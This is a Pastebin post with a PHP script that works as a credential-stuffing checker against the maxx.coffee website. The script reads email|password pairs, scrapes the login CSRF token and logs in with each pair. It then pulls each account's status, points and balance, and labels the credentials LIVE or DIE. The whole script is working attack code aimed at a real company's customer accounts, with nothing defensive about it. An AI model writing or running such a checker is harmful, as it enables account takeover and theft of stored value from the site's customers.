HenryGlazt

max

Aug 7th, 2018
226
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 4.33 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3. date_default_timezone_set("Asia/Jakarta");
  4. $format = $_GET['mailpass'];
  5. $pisah = explode("|", $format);
  6.  
  7. if (!isset($format)) {
  8. header('location: ./');
  9. exit;
  10. }
  11. function getStr($string,$start,$end){
  12.     $str = explode($start,$string);
  13.     $str = explode($end,$str[1]);
  14.     return $str[0];
  15. }
  16.  
  17. function token(){
  18.     $ch = curl_init();
  19.  
  20.     curl_setopt($ch, CURLOPT_URL, "https://maxx.coffee/login");
  21.     curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  22.     curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "GET");
  23.     curl_setopt($ch, CURLOPT_COOKIEJAR, dirname(__FILE__).'/cookie.txt');
  24.     curl_setopt($ch, CURLOPT_HEADER, 1);
  25.    
  26.     $headers = array();
  27.     $headers[] = "Authority: maxx.coffee";
  28.     $headers[] = "Upgrade-Insecure-Requests: 1";
  29.     $headers[] = "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.84 Safari/537.36";
  30.     $headers[] = "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8";
  31.     $headers[] = "Accept-Language: en-US,en;q=0.9";
  32.     curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
  33.    
  34.     $result = curl_exec($ch);
  35.     $token = getStr($result,'type="hidden" name="_token" value="','">');
  36.     return $token;
  37. }
  38.  
  39. function login($token, $email, $password){
  40.     $ch = curl_init();
  41.  
  42.     curl_setopt($ch, CURLOPT_URL, "https://maxx.coffee/login");
  43.     curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  44.     curl_setopt($ch, CURLOPT_POSTFIELDS, "_token=$token&email=$email&password=$password");
  45.     curl_setopt($ch, CURLOPT_POST, 1);
  46.     curl_setopt($ch, CURLOPT_COOKIEFILE, dirname(__FILE__).'/cookie.txt');
  47.     curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  48.     curl_setopt($ch, CURLOPT_HEADER, 1);
  49.    
  50.     $headers = array();
  51.     $headers[] = "Authority: maxx.coffee";
  52.     $headers[] = "Cache-Control: max-age=0";
  53.     $headers[] = "Origin: https://maxx.coffee";
  54.     $headers[] = "Upgrade-Insecure-Requests: 1";
  55.     $headers[] = "Content-Type: application/x-www-form-urlencoded";
  56.     $headers[] = "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.84 Safari/537.36";
  57.     $headers[] = "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8";
  58.     $headers[] = "Referer: https://maxx.coffee/login";
  59.     $headers[] = "Accept-Language: en-US,en;q=0.9";
  60.     curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
  61.    
  62.     $result = curl_exec($ch);
  63.     $phone = getStr($result, 'var mobile_phonenya = "','";');
  64.     return $phone;
  65. }
  66. function getMoney($phone){
  67.     $ch = curl_init();
  68.  
  69.     curl_setopt($ch, CURLOPT_URL, "https://maxx.coffee/cekverifikasiajax");
  70.     curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  71.     curl_setopt($ch, CURLOPT_POSTFIELDS, "mobile_phone=$phone");
  72.     curl_setopt($ch, CURLOPT_POST, 1);
  73.     curl_setopt($ch, CURLOPT_COOKIEFILE, dirname(__FILE__).'/cookie.txt');
  74.    
  75.     $headers = array();
  76.     $headers[] = "Origin: https://maxx.coffee";
  77.     $headers[] = "Accept-Language: en-US,en;q=0.9";
  78.     $headers[] = "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.84 Safari/537.36";
  79.     $headers[] = "Content-Type: application/x-www-form-urlencoded";
  80.     $headers[] = "Accept: */*";
  81.     $headers[] = "Referer: https://maxx.coffee/home";
  82.     $headers[] = "Authority: maxx.coffee";
  83.     $headers[] = "X-Requested-With: XMLHttpRequest";
  84.     curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
  85.    
  86.     $result = curl_exec($ch);
  87.     return $result;
  88. }
  89.     $email      = $pisah[0];
  90.     $password   = $pisah[1];
  91.     $token = token();
  92.     $phone = login($token, $email, $password);
  93.     if(!$phone){
  94.         $hasil['error'] = 2;
  95.         $hasil['msg']   = "<font color=red><b>[ DIE ]</font> | [ $email|$password ] ./Alchmst</b>";
  96.         die(json_encode($hasil));
  97.     }elseif($phone){
  98.         $a = json_decode(getMoney($phone));
  99.         $hasil['error'] = 0;
  100.         $hasil['msg']   = "<font color=green><b>[ LIVE ]</font> | [ $email|$password ] [ Status : $a->status ] [ Bean : $a->bean ] [ Balance : $a->balance ] ./Alchmst</b>";
  101.         die(json_encode($hasil));
  102.     }else{
  103.         $hasil['error'] = -1;
  104.         $hasil['msg']   = "<font color=purple><b>[ UNKNOWN ]</font> | [ $email|$password ] ./Alchmst</b>";
  105.         die(json_encode($hasil));
  106.     }
  107. ?>
Advertisement
Add Comment
Please, Sign In to add comment